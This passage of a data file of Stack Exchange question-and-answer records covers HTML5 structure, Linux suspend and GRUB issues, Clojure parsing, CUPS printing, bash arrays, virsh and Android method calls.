<p><a href=/article-1 rel=bookmark>Read more</a></p>      </header>    </article>    <article>      <header>        <h1>Second Article's Heading</h1>        <p>Supplement to the second article's heading.</p>        <p><a href=/article-2 rel=bookmark>Read more</a></p>      </header>    </article>    <article>      <header>        <h1>Third Article's Heading</h1>        <p>Supplement to the third article's heading.</p>        <p><a href=/article-3 rel=bookmark>Read more</a></p>      </header>    </article>    <footer>      <nav>        <h1>Navigate Through Pages</h1>        <p><a href=/page/1 rel=next>Newer</a></p>        <p><a href=/page/3 rel=prev>Older</a></p>      </nav>    </footer>  </article>  <!-- Footer is the same for all pages. -->  <footer>    <p><small>Copyright (c) ...</small></p>  </footer></body>I just wanted to ensure if the semantic is corrent. It is. The question is clear."  , "title": "What's the proper structure of an HTML5 page that briefly lists other articles?"  , "tags": "html5"  , "accepted_answer": "Frankly, I'd do it exactly the same as I would in HTML4.<body>    <h1>Latest Articles</h1>    <h2><a href=/article-1>First Article's Heading</a></h2>    <p>First article's brief description.</p>    <h2><a href=/article-2>Second Article's Heading</a></h2>    <p>Second article's brief description.</p>    <h2><a href=/article-3>Third Article's Heading</a></h2>    <p>Third article's brief description.</p></body>That's all you need. All your extra markup is providing no new information. This contains the same semantic information and the document outline is identical. If you need wrappers for styling, add <div>s as necessary."  } 
{  "id": "_unix.284828"  , "question": "I'm using Debian unstable and I have a graphical problem after my computer suspend. My Xfce desktop is not correctly rendered on the wakeup, I can see my background through the panel (see screenshot) dmesg log shows an error i915 [...] has bogus alignment. Here is dmesg during the suspend action:[44434.416880] wlp2s0: deauthenticating from 14:0c:76:6f:f2:61 by local choice (Reason: 3=DEAUTH_LEAVING)[44434.437532] cfg80211: World regulatory domain updated:[44434.437538] cfg80211:  DFS Master region: unset[44434.437541] cfg80211:   (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp), (dfs_cac_time)[44434.437545] cfg80211:   (2402000 KHz - 2472000 KHz @ 40000 KHz), (N/A, 2000 mBm), (N/A)[44434.437549] cfg80211:   (2457000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm), (N/A)[44434.437552] cfg80211:   (2474000 KHz - 2494000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A)[44434.437555] cfg80211:   (5170000 KHz - 5250000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2000 mBm), (N/A)[44434.437559] cfg80211:   (5250000 KHz - 5330000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2000 mBm), (0 s)[44434.437562] cfg80211:   (5490000 KHz - 5730000 KHz @ 160000 KHz), (N/A, 2000 mBm), (0 s)[44434.437564] cfg80211:   (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 2000 mBm), (N/A)[44434.437568] cfg80211:   (57240000 KHz - 63720000 KHz @ 2160000 KHz), (N/A, 0 mBm), (N/A)[44434.531857] PM: Syncing filesystems ... done.[44434.540113] PM: Preparing system for sleep (mem)[44434.540324] (NULL device *): firmware: direct-loading firmware iwlwifi-6000-4.ucode[44434.540338] Freezing user space processes ... (elapsed 0.001 seconds) done.[44434.541893] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done.[44434.543071] PM: Suspending system (mem)[44434.543088] Suspending console(s) (use no_console_suspend to debug)[44434.543385] sd 0:0:0:0: [sda] Synchronizing SCSI cache[44434.543522] sd 0:0:0:0: [sda] Stopping disk[44434.558538] e1000e: EEE TX LPI TIMER: 00000011[44435.211800] PM: suspend of devices complete after 668.537 msecs[44435.227791] PM: late suspend of devices complete after 15.977 msecs[44435.229946] ehci-pci 0000:00:1d.0: System wakeup enabled by ACPI[44435.230164] ehci-pci 0000:00:1a.0: System wakeup enabled by ACPI[44435.230718] e1000e 0000:00:19.0: System wakeup enabled by ACPI[44435.230726] xhci_hcd 0000:00:14.0: System wakeup enabled by ACPI[44435.243838] PM: noirq suspend of devices complete after 16.039 msecs[44435.244332] ACPI: Preparing to enter system sleep state S3[44435.263885] ACPI : EC: EC stopped[44435.263886] PM: Saving platform NVS memory[44435.263897] Disabling non-boot CPUs ...[44435.264334] Broke affinity for irq 30[44435.265847] smpboot: CPU 1 is now offline[44435.266740] Broke affinity for irq 28[44435.266745] Broke affinity for irq 30[44435.266750] Broke affinity for irq 31[44435.267795] smpboot: CPU 2 is now offline[44435.268978] Broke affinity for irq 1[44435.268983] Broke affinity for irq 8[44435.268986] Broke affinity for irq 9[44435.268989] Broke affinity for irq 12[44435.268992] Broke affinity for irq 16[44435.268996] Broke affinity for irq 21[44435.269000] Broke affinity for irq 27[44435.269003] Broke affinity for irq 28[44435.269006] Broke affinity for irq 30[44435.269010] Broke affinity for irq 31[44435.270029] smpboot: CPU 3 is now offline[44435.271974] ACPI: Low-level resume complete[44435.272028] ACPI : EC: EC started[44435.272029] PM: Restoring platform NVS memory[44435.273248] microcode: CPU0 microcode updated early to revision 0x1c, date = 2015-02-26[44435.273281] Enabling non-boot CPUs ...[44435.273360] x86: Booting SMP configuration:[44435.273361] smpboot: Booting Node 0 Processor 1 APIC 0x2[44435.274290] microcode: CPU1 microcode updated early to revision 0x1c, date = 2015-02-26[44435.277098]  cache: parent cpu1 should not be sleeping[44435.277332] CPU1 is up[44435.277380] smpboot: Booting Node 0 Processor 2 APIC 0x1[44435.280573]  cache: parent cpu2 should not be sleeping[44435.280750] CPU2 is up[44435.280789] smpboot: Booting Node 0 Processor 3 APIC 0x3[44435.284081]  cache: parent cpu3 should not be sleeping[44435.284425] CPU3 is up[44435.292188] ACPI: Waking up from system sleep state S3[44435.629721] xhci_hcd 0000:00:14.0: System wakeup disabled by ACPI[44435.630713] ehci-pci 0000:00:1a.0: System wakeup disabled by ACPI[44435.630804] ehci-pci 0000:00:1d.0: System wakeup disabled by ACPI[44435.631744] PM: noirq resume of devices complete after 17.691 msecs[44435.632341] PM: early resume of devices complete after 0.553 msecs[44435.645325] e1000e 0000:00:19.0: System wakeup disabled by ACPI[44435.645806] rtc_cmos 00:02: System wakeup disabled by ACPI[44435.649552] sd 0:0:0:0: [sda] Starting disk[44435.865510] usb 1-1.5: reset high-speed USB device number 4 using ehci-pci[44435.865588] [drm:intel_opregion_init [i915]] *ERROR* No ACPI video bus found[44435.869545] usb 2-1.8: reset full-speed USB device number 3 using ehci-pci[44435.977520] ata5: SATA link down (SStatus 0 SControl 300)[44435.977552] ata1: SATA link up 6.0 Gbps (SStatus 133 SControl 300)[44436.125239] ata1.00: ACPI cmd ef/10:06:00:00:00:00 (SET FEATURES) succeeded[44436.125243] ata1.00: ACPI cmd f5/00:00:00:00:00:00 (SECURITY FREEZE LOCK) filtered out[44436.125246] ata1.00: ACPI cmd b1/c1:00:00:00:00:00 (DEVICE CONFIGURATION OVERLAY) filtered out[44436.125328] ata1.00: ACPI cmd 00/00:00:00:00:00:a0 (NOP) rejected by device (Stat=0x51 Err=0x04)[44436.126376] ata1.00: ACPI cmd ef/10:06:00:00:00:00 (SET FEATURES) succeeded[44436.126379] ata1.00: ACPI cmd f5/00:00:00:00:00:00 (SECURITY FREEZE LOCK) filtered out[44436.126397] ata1.00: ACPI cmd b1/c1:00:00:00:00:00 (DEVICE CONFIGURATION OVERLAY) filtered out[44436.126472] ata1.00: ACPI cmd 00/00:00:00:00:00:a0 (NOP) rejected by device (Stat=0x51 Err=0x04)[44436.126682] ata1.00: configured for UDMA/133[44436.293577] usb 2-1.8.2: reset full-speed USB device number 4 using ehci-pci[44436.386794] PM: resume of devices complete after 754.391 msecs[44436.387345] PM: Finishing wakeup.[44436.387349] Restarting tasks ... [44436.410524] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.410648] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.410735] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.410986] pci_bus 0000:01: Allocating resources[44436.411010] pci_bus 0000:02: Allocating resources[44436.411064] pci_bus 0000:03: Allocating resources[44436.411081] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411119] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411180] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411200] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.411311] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.425615] done.How can I fix it?"  , "title": "Intel Graphic error: i915 [...] has bogus alignment"  , "tags": "debian;suspend;intel graphics"  } 
{  "id": "_unix.184871"  , "question": "I have Arch, Ubuntu, and GRUB2 installed on a BTRFS filesystem.  I'm aware that GRUB cannot write to BTRFS for a variety of good reasons, and therefore cannot save environment variables to /boot/grub/grubenv.I have un-used space at the start and at the end of my disk (due to alignment), and I'm led to believe that the BTRFS file system has some kind of arbitrary storage area too.Is there some way I can configure GRUB to use any of these areas to store persisntent environment variables, instead of it trying (and failing) to use the /boot/grub/grubenv file?"  , "title": "Configure where GRUB2 environment block is located"  , "tags": "grub2;environment variables;btrfs"  } 
{  "id": "_softwareengineering.74249"  , "question": "I have a huge program that I have been developing for almost 2 years. It will probably go commercial in about 6-9 months, but seeing as it is just me developing it, I'd had almost zero feedback about the code (efficiency, maintainability, proper use of best practices, etc.). I would really like to have someone or several people review it for feedback.So:Are there places that I can get this service. Are sites like oDesk the way to go?Is it safe? Would an NDA be sufficient to protect IP or are there other ways of going about protecting IP?Are there particular qualities I should look at in a reviewer, other than they know the language and maybe some of the issues?In fact, I don't even know if the 3 questions above are the right ones to ask and I should be asking different ones first.Any advice on this subject?"  , "title": "Is Open Market Code Review a Good Idea?"  , "tags": "code reviews"  } 
{  "id": "_cogsci.10302"  , "question": "I quite enjoy playing games which requires many repetitions of the level in order to get right. These games are often constant-speed scrolling obstacle-course type games where the player must navigate obstacles correctly to finish the level. Often many of repetitions of the level are necessary. For example, geometry dash (not affiliated with them at all, I promise!).I often wonder if there are any benefits to playing these games. I know that the repetitive nature creates neural pathways in the brain, but I don't think this newly developed ability is going to be used outside of one game in particular. A friend of mine mentioned that perhaps these games would improve neuroplasticity, and some research indicates that certain types of games do have cognitive health benefits, (for example, in older adults). However, I haven't been able to find any information about this type of game in particular.Do these types of repetitive games have any neurological benefit outside of an improved ability to play a particular game?"  , "title": "What benefit is there to playing highly repetitive games?"  , "tags": "video games"  , "accepted_answer": "Lumosity has a research section that explains how their repetitive games help in day-to-day activities. They claim it's peer reviewed, although all of the papers are published to their site. However, Science based medicine had this to say about a study with games similar to Lumosity...This one study, of course, is not definitive. It is possible that more training is needed before significant benefits are seen. Perhaps  video games are more effective because they are more engaging and  players will spend more time playing.What this study shows, however,  is that products sold as brain training games had no documented  benefits after six weeks of use.Putting this study into the context of the overall research, it does  make us more cautious about concluding that there are general  cognitive benefits to brain training games or entertainment video  games. Benefits are likely to be closely related to the specific tasks  involved in training, and not transfer to unrelated tasks.But there is already enough published evidence showing visual  tracking, multitasking, and executive function benefits from action  and strategic video games respectively that this study will not be the  final word. When there is conflicting research, more study is needed.This study is most applicable to brain training products, and shows  that the marketing claims for these products are not justified. There  is very unlikely to be any benefit, or any specific advantage, to  scientifically designed brain training applications. For now, you  are better off just playing a video game.So, more or less, there isn't any information suggesting that these repetitive brain games actually help develop skills outside of learning to play the game better."  } 
{  "id": "_softwareengineering.149310"  , "question": "I have a list of temperature levels (0 - 30 degrees) in different parts of a city. I would like to visualize the different temperature levels in the different parts of the city. Hot places should be displayed in red and cold ones blue. If the user zoom out he will get the avarage temperature color of the city and if zoomed in he will get the average color of the temperate color of that place.I think that what I need is referred to as heatmaps. Is that the correct?I am not too expert in visualization techniques and would appreciate explanatory pseudocode to illustrate the internal workings and main building blocks for heatmap algorithms, and how I could handle the zooming."  , "title": "Visualizing temperature levels across a city"  , "tags": "visualization;heatmap"  , "accepted_answer": "That sort of thing is exactly what a heatmap is for.  As to how to build one, think about a collection of points on the map laid out in a grid.  Each point has a temperature associated with it; you then map each temperature value to a color, say withRed:    80Orange: 70and so on.  That's your basic heatmap.Now, in the real world you don't generally have exactly rectangular grids, so you have to interpolate.  That means finding the nearest points for which you have data and computing an assumed temperature based on some rule.  Usually this would be linear -- that is, if you want to compute the value for a point halfway between two other points, you would assign it half the difference in temperatures.This looks like a decent article here: http://www.spatialanalysisonline.com/Output/ContentsFiguresAndTables.html?n=GridInteAndCont.htmlNow, when you do the zooming, all you do is compute a new matrix of numbers for the new grid, map the old vertices to the new grid vertex and average the values."  } 
{  "id": "_cogsci.13905"  , "question": "Is there any evidence that a little bit of inner anger is healthy when engaging in problem solving? I personally feel this way, but feel that people around me misinterpret my anger as being directed at them and the world around me instead of at the problem I'm trying to solve. Thanks."  , "title": "Anger and problem solving"  , "tags": "problem solving;mood"  } 
{  "id": "_codereview.36672"  , "question": "I've been playing around with Clojure for a while now, and one of the tasks I occasionally find awkward is parsing input.  For example, I took part in the facebook hacker cup recently, where part of the challenge was to read input like this:54..##..##........4..##..###.......4#####..##..#####5####################.....5#########################Where the first line is the number of cases to follow and the first line of each case is the number of lines in that case.  It seems fairly obvious to me that the output of parsing this should be a list of cases, but there's no obvious way to know when to split the data without reading part of the data first.  (In this particular case I know I could look for lines with numbers vs. lines with #s, but I'm more interested in a general solution)I ended up implementing this like:(defn read-stdin     []  (line-seq (java.io.BufferedReader. *in*)))(defn my-iterate     [f n input]  Calls iterate on input and returns the final result     (nth (iterate f input) n))(defn parse-grid     Parses a text grid of .s and #s and returns a set of coord   pairs for each # element  [lines]  (set (filter identity      (for [[row line] (map-indexed vector lines)            [col c] (map-indexed vector line)]        (if (= c \\#) [row col] nil)))))(defn parse-case     Takes a case-array and some lines, parses out a single case,   adds it to the case-array and returns along with the remainder of the lines.   Meant to be used with iterate  [[cases [first-line & lines]]]  (let [problem-size (read-string first-line)]    [(conj cases {:size problem-size                   :blacks (parse-grid (take problem-size lines))}),     (drop problem-size lines)]))(defn parse-cases     [[first-line & rest-lines]]     (let [num-cases (read-string first-line)]    (first (my-iterate parse-case num-cases [[] rest-lines]))))(def read-cases-stdin (comp parse-cases read-stdin))The parse-case function is my main worry here - it feels really awkward to have to return a vector of the current case list and the rest of the input, and have to deal with unpacking it again on the next iteration of the function.  Is there a more idiomatic way of going about doing this?Any other general feedback on my code would also be welcome."  , "title": "Idiomatic input parsing in clojure"  , "tags": "clojure"  , "accepted_answer": "I think your main problem is that you're using iterate where partitioning and mapping would work just fine.I would create a simple helper function that splits the input line-seq into cases. Normally you could use partition for this, but since the number of lines can vary from case to case, you would have to use loop/recur. (See my split-cases function below. Also, note that we don't really care about the number of cases on the first line; we completely ignore it via destructuring.)Now, believe it or not, all you have to do is map your parse-grid function over the result of (split-cases ...) and you'll end up with a list of sets of coordinates, one for each case. I think your parse-grid function is very nice. It's concise and it makes good use of map-indexed and destructuring. The only thing I would tweak is that I would leverage the built-in :when syntax of Clojure's for macro to filter out the coordinates of the non-# characters. Then you can take out the filter identity part because there are no longer any nil values to remove.So, here is how I would revise your code:(defn split-cases [[_ & lines]]  Returns a seq of cases, each of which is a seq of #/. lines.  (loop [result []         [number-of-lines & lines] lines]    (if (seq lines)      (recur (conj result (take number-of-lines lines))             (drop number-of-lines lines))      result)))(defn parse-grid [grid]  Parses a text grid of .s and #s and returns a set of coord   pairs for each # element  (set (for [[row line] (map-indexed vector grid)             [col c]    (map-indexed vector line)]             :when (= c \\#)]         [row col])))(defn read-stdin []   (line-seq (java.io.BufferedReader. *in*)))(defn parse-cases-stdin []  (map parse-grid (split-cases (read-stdin))))"  } 
{  "id": "_unix.322772"  , "question": "We have two different Kyocera printers running for printing invoices. The invoices are PDF files that have been generated by wkhtmltopdf (previously dompdf with the same issues). Printing these invoices used to work fine, but suddenly without any interference only part of the files are printed. Different invoices result in different but all still broken prints. I'm talking about e.g. four lines of text and a single rectangle, or the lines of a table and the image header only.CUPS, which I'm using to print, shows me the following error for each PDF:W [12/Nov/2016:09:45:01 +0100] [Job 80] /var/spool/cups/d00080-001: file is damagedW [12/Nov/2016:09:45:01 +0100] [Job 80] /var/spool/cups/d00080-001 (file     position 34956): xref not foundW [12/Nov/2016:09:45:01 +0100] [Job 80] /var/spool/cups/d00080-001: Attempting to reconstruct cross-reference tableI am clueless as to why this happens, as every other PDF reader can show generated invoices just fine. Printing the same files with Acrobat Reader will not cause any of these problems.What part of the system is causing this problem? How did this start happening suddenly without me (the only one touching the printing system) even being at the office. Is there a workaround?PS: The printers are a Kyocera ECOSYS P2135dn and a Kyocera FS-1370DN. Both using their identically named official driver installed from the kyocera website. I am running Ubuntu 16.04 LTS with CUPS 2.1.3."  , "title": "Printing PDF with CUPS"  , "tags": "ubuntu;pdf;printing;cups"  } 
{  "id": "_cs.69354"  , "question": "imho this is not at all a duplicate, because the other question does  not address the recursive case $T(d,n) = ....T(d-1,T(d-1,n))....$,  which appears to be part of the Taylor expansion of this function.  Also I don't know how to write this as a Taylor expansion. If I would,  I would still not know how to solve this specific instance.Consider the following function. Maybe it could be more efficient, but I'm only interested in the output value, not the runtime complexity. All variables are whole numbers.function branch(currentDepth, maxDepth, n, k) {    if (currentDepth == maxDepth) {        return n;    }    sum = 0;    for (i=0; i<=k; i++) {        tmpN = branch(currentDepth+1, maxDepth, n, i);        sum += branch(currentDepth+1, maxDepth, tmpN, k-i);    }    return sum;}For $2 < k << n$ and $2 < d = O(\\log n)$, is there a formula in terms of $d$, $k$ and $n$ (either exact, big-O or Theta), that predicts the output forbranch(0, d, n, k);Will it be exponential in $n$? Can we maybe solve this for small $k$? ($k\\le7$).Application: the output value is a factor of the runtime complexity of a Fixed Parameter algorithm I made up, but I don't think it will beat existing algorithms. However I still wanted this solved."  , "title": "Can the output value be solved and/or written as Taylor expansion?"  , "tags": "time complexity;recurrence relation"  , "accepted_answer": "It is better to use as parameters maxDepth-currentDepth, n, k. Call the resulting function $f_k(d,n)$.When $k = 0$,$$f_0(d,n) = \\begin{cases}n & d = 0, \\\\f_0(d-1,f_0(d-1,n)) & d > 0.\\end{cases}$$You can prove by induction that the solution is $f_0(d,n) = n$.When $k=1$,$$f_1(d,n) = \\begin{cases}n & d = 0, \\\\f_1(d-1,f_0(d-1,n)) + f_0(d-1,f_1(d-1,n)) & d > 0,\\end{cases}$$which reduces to$$f_1(d,n) = \\begin{cases}n & d = 0, \\\\2f_1(d-1,n) & d > 0.\\end{cases}$$The solution is$$f_1(d,n) = 2^d n.$$When $k = 2$, using the preceding formulas we get$$f_2(d,n) = \\begin{cases}n & d=0, \\\\2f_2(d-1,n) + 4^{d-1} n & d > 0.\\end{cases}$$Unrolling the recursion gives$$\\begin{align*}f_2(d,n) &= 4^{d-1} n + 2\\cdot 4^{d-2} n + 2^2 \\cdot 4^{d-3} n + \\cdots + 2^{d-1} n + 2^d n \\\\ &=(2^{2d-2} + 2^{2d-3} + \\cdots + 2^{d-1}+2^d) n \\\\ &=(2^d+1)2^{d-1} n.\\end{align*}$$Let us approximate this by $2^{2d-1}n$.When $k = 3$, the preceding formulas show that$$f_3(d,n) \\approx\\begin{cases}n & d = 0, \\\\2f_3(d-1,n) + 2^{3d} n & d > 0.\\end{cases}$$Unrolling the recursion gives$$f_3(d,n) \\approx (2^{3d} + 2^{3(d-1)+1} + 2^{3(d-2)+2} + \\cdots + 2^{3(1)+d-1} + 2^d)n \\approx \\frac{4}{3} 2^{3d}n. $$Continuing in this way, we find that up to constants, if $f_k(d,n) = \\Theta(2^{r_kd}n)$ then $r_{k+1} = \\max_{1 \\leq \\ell \\leq k} (r_\\ell + r_{k+1-\\ell})$ (except for the base cases $k \\leq 1$). For example, we have$$\\begin{align*}&r_0 = 0 \\\\&r_1 = 1 \\\\&r_2 = 2 \\\\&r_3 = 3 \\\\&r_4 = 4\\end{align*}$$and so on. Indeed, induction shows that $f_k(d,n) = \\Theta_k(2^{kd}n)$. With more effort, we could estimate the hidden constant."  } 
{  "id": "_softwareengineering.119625"  , "question": "I've got a question concerning node.js performance.There is quite lot of benchmarks and a lot of fuss about great performance of node.js. But how does it stand in real world? Not just process empty request at high speed.If someone could try to compare this scenario:Java (or equivalent) server running an application with complex business logic between receiving request and sending response.How would node.js deal with it? If there was need for a lot of JavaScript processing on server side, is node.js really so fast that it can execute JavaScript, and stand a chance against more heavyveight competitors?"  , "title": "Real performance of node.js"  , "tags": "node.js"  } 
{  "id": "_unix.1381"  , "question": "since OpenSolaris is more or less abandoned by Oracle, is there a nice alternative that implements the unique features of OSOL? ZFS is one thing, but I liked the image creation system, that let you create images of a master system and then distribute it quickly to other computers. This was an effort to simplify creation of clusters.According to the Wikipedia page of OSOL, there's Illumos, which is a fork of OSOL, with all closed source parts replaced by open source parts. Illumos is in active development.But is Illumos an alternative to OSOL, with all it's features? Is anyone using it and could tell us his or hers experiences?"  , "title": "The future of OpenSolaris"  , "tags": "solaris;history;zfs;opensolaris"  , "accepted_answer": "Illumos is not a full replacement to OSOL and I don't think it will be in the future since it's intended to be a base from which others can build a distribution.  But check the Nexenta OS, this system is heavily based on OSOL and they are one of the main sponsors behind the Illumos project. Although I haven't used it personally and I wouldn't know whether it has what you need."  } 
{  "id": "_webapps.13042"  , "question": "If we archive a mail in gmail, is storage saved?I mean, is the file compressed well?  Gmail can search in archived mail. If it was really compressed, the searching was very hard job. But they can. So I'm very curious about what gmail's archive mean."  , "title": "Can gmail's archive feature save storage?"  , "tags": "gmail;gmail archive"  , "accepted_answer": "Google is probably doing something to save space. Maybe they are indexing and then compressing (older) emails. But your space usage is counted from non-compressed emails.So in short: archiving do not save your space at all.Whole point of Archive is to move email from inbox. Point is that whatever is in your inbox is something important you should react on, and other things are archived."  } 
{  "id": "_unix.364164"  , "question": "For a few days i'm breaking my head over the following:the partition table is reported to be messed up, but it's not.grub-legacy gives problems with some partitions during actual boot-up, but not when invoked in a shell when linux is up-and-running.I suspect the two symptoms are related, but i'm not sure.Background information:Grub-legacy has been booting from an XFS on /dev/sda4 a.k.a. (hd0,3) for years without trouble.Things got messed up when resizing the FAT32 filesystem on sda1 using Gparted (apparently there is a bug in libparted 3.2 responsible for this). Suddenly grub couldn't access sda4 anymore.Here is the output from fdisk concerning th broken-not-broken partition table:Welcome to fdisk (util-linux 2.27.1).Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Command (m for help): pDisk /dev/sda: 74.5 GiB, 80026361856 bytes, 156301488 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x85068506Device     Boot     Start       End   Sectors  Size Id Type/dev/sda1            2048   8390655   8388608    4G  c W95 FAT32 (LBA)/dev/sda2  *      8390656  29296639  20905984   10G  7 HPFS/NTFS/exFAT/dev/sda3        29296640 136712191 107415552 51.2G  f W95 Ext'd (LBA)/dev/sda4       136712192 156301487  19589296  9.3G 83 Linux/dev/sda5        29298688  33492991   4194304    2G 83 Linux/dev/sda6        33495040  75438079  41943040   20G 83 Linux/dev/sda7        75440128  83828735   8388608    4G 83 Linux/dev/sda8        83830784  88025087   4194304    2G 83 Linux/dev/sda9        88027136  94318591   6291456    3G 82 Linux swapPartition table entries are not in disk order.Command (m for help): xExpert command (m for help): fNothing to do. Ordering is correct already.parted lists the partition table as follows:# parted /dev/sda unit s print free                                                    Model: ATA WDC WD800JB-00JJ (scsi)Disk /dev/sda: 156301488sSector size (logical/physical): 512B/512BPartition Table: msdosDisk Flags: Number  Start       End         Size        Type      File system     Flags        63s         2047s       1985s                 Free Space 1      2048s       8390655s    8388608s    primary   fat32           boot, lba 2      8390656s    29296639s   20905984s   primary   ntfs 3      29296640s   136712191s  107415552s  extended                  lba 5      29298688s   33492991s   4194304s    logical   ext2 6      33495040s   75438079s   41943040s   logical   ext3 7      75440128s   83828735s   8388608s    logical   ext3 8      83830784s   88025087s   4194304s    logical   ext3 9      88027136s   94318591s   6291456s    logical   linux-swap(v1)        94318592s   136712191s  42393600s             Free Space 4      136712192s  156301487s  19589296s   primary   ext2About grub during boot-up:it reports Error 5: partition table invalid or corrupt for sda7 and sda8.it reports Filesystem type unknown for sda4, though it's a simple ext2 (by now).I've searched many many forums/wikis/etc, but haven't solved this puzzle yet.I've only come to realise my partition table is 1MiB-aligned (hence the 2048 sector gaps).I've done some partition deletion/recreation/reformatting/checking etc, without success.I'm running slackware 14.2 (salix, actually) with kernel 3.10. All linux filesystems are ext2 or ext3.I'm very curious to find the cause of these symptoms. Please help me to tackle this."  , "title": "fdisk: partition table not in disk order but Order is correct already? and GRUB-legacy issues"  , "tags": "grub legacy;partition table"  } 
{  "id": "_webapps.53898"  , "question": "I want to know how people write in their status continue reading at the end, which is actually a link to their page?"  , "title": "How do people write in their status continue reading?"  , "tags": "facebook;facebook pages"  } 
{  "id": "_unix.285259"  , "question": "In bash, I have an array containing a list of links, e.g.http://xkcd.com/archivehttp://what-if.xkcd.com/http://blag.xkcd.com/http://store.xkcd.com/I also have a variable named $URL. I would like to set the variable $URL to a random item in the list."  , "title": "Set variable to random item in array"  , "tags": "shell script"  , "accepted_answer": "You could use RANDOM variable defined by bash:URL=${URLLIST[ $(( RANDOM % ${#URLLIST[@]} )) ] }where URLLIST is the an array containng your urls:URLLIST=( \\    http://xkcd.com/archive \\    http://what-if.xkcd.com/ \\    http://blag.xkcd.com/ \\    http://store.xkcd.com/ \\)"  } 
{  "id": "_unix.300113"  , "question": "virsh list returns an empty list but the gui virt-manager has 2 defined QEMU/KVM virtual machines. How come virsh list doesn't list anythng ?"  , "title": "How to list domains in virsh?"  , "tags": "virtual machine"  , "accepted_answer": "The virsh list command only runs things running.If you want things defined but not running thenvirsh list --allAnd remember each type of namespace is distinct so you may need --connect as welle.g.$ virsh -c lxc:/// list       Id    Name                           State----------------------------------------------------$ virsh -c lxc:/// list --all Id    Name                           State---------------------------------------------------- -     helloworld                     shut off$ virsh -c qemu:///system list Id    Name                           State---------------------------------------------------- 37    fedora24                       running$ virsh -c qemu:///system list --all Id    Name                           State---------------------------------------------------- 37    fedora24                       running -     docker                         shut off -     kali                           shut off -     test1                          shut off"  } 
{  "id": "_unix.189251"  , "question": "How can I read a dash file from the terminal other than delimiting it with ./For example to read a - file we can read it by cat ./-file_nameQ: Is there an alternative way to achieve the same thing? "  , "title": "How to read dash files"  , "tags": "bash;cat"  , "accepted_answer": "For commands which get input from stdin, you can use redirection:cat <-file_name"  } 
{  "id": "_softwareengineering.164419"  , "question": "Context: I'm taking several classes this semester in which I'll be coding. Here is a list of possible languages I'll be using:JavaC (system and embedded level)C++ (contest programming)VHDL (for FPGA work)PythonSchemeIs it possible to keep all these languages floating around in one's head? How can one code without having to look up reference material every time they start working?"  , "title": "When using several languages for different projects, how do you keep the different syntaxes straight?"  , "tags": "programming languages"  , "accepted_answer": "C++ alone is a massive language as is Java. I could reasonably expect a skilled, veteran to remember all of Scheme, Python, or C but there is no shame to be had in using references. I'd argue that learning generically applicable programming techniques and remembering the elements of style for each language over trying to remember the entire syntax. I'm not sure that's possible in some cases, particularly given how much languages can change.I work at a technical bookstore and I routinely sell reference manuals to skilled, experienced professionals. Better to have knowledge that there is such a technique for thing x and not remember the exact syntax or semantics than to not know that thing x exists. That's why these things exist. You are plugging along and think I know of something that would work nicely here and perhaps you find it to be wrong for that language but the reference if it's any good and you've a solid grasp on the fundamentals will give you pointers (sometimes literally) toward a solution."  } 
{  "id": "_webapps.100855"  , "question": "In Google Sheets I have a search box that brings up the information for a person when you type in their id. It works perfectly up until ID 512, which is row 374. The formula below is what I use.=IFERROR(VLOOKUP(C3,'Main Database'!B21:S590,3,True),)"  , "title": "VLookup Stops Working After 500 Rows"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.254709"  , "question": "From A Practical Guide to Linux Commands, Editors, and ShellProgramming  By Mark G. SobellAlthough you can use bash to execute a shell script, this technique causes the script to run more slowly than giving yourself  execute permission and directly invoking the script.Why is that?How is running a script like an executable different from running itby a shell explicitly?Do both follow the same steps as:A command on the command line causes the shell to fork a new process,  creating a duplicate of the shell process (a subshell). The new  process attempts to exec (execute) the command. Like fork, the exec  routine is executed by the operating system (a system call). Because  the command is a shell script, exec fails. When exec fails, the  command is assumed to be a shell script, and the subshell runs the  commands in the script. Unlike a login shell, which expects input from  the command line, the subshell takes its input from a filenamely, the  shell script."  , "title": "How is running a script like an executable different from running it by a shell explicitly?"  , "tags": "bash"  } 
{  "id": "_reverseengineering.13873"  , "question": "I want to ask if somebody is aware of tools/projects which are similar to the Appcall feature of IDA Pro[1] for Android Apps?I'm looking for the possibility to run certain methods detected in the smali code without running the whole APK.Thanks in advance for your help :-)[1] http://www.hexblog.com/?p=113"  , "title": "Call Android method without running whole Android-App"  , "tags": "android;gdb;dynamic analysis"  , "accepted_answer": "You should be able to write a separate application that dynamically loads the dex file from the app that you are interested in using DexClassLoader, allowing you to construct classes and call methods from that dex file. You can get the path to the other apk using PackageManager.getApplicationInfo(). The sourceDir field of the returned ApplicationInfo object will have the path to the apk."  } 
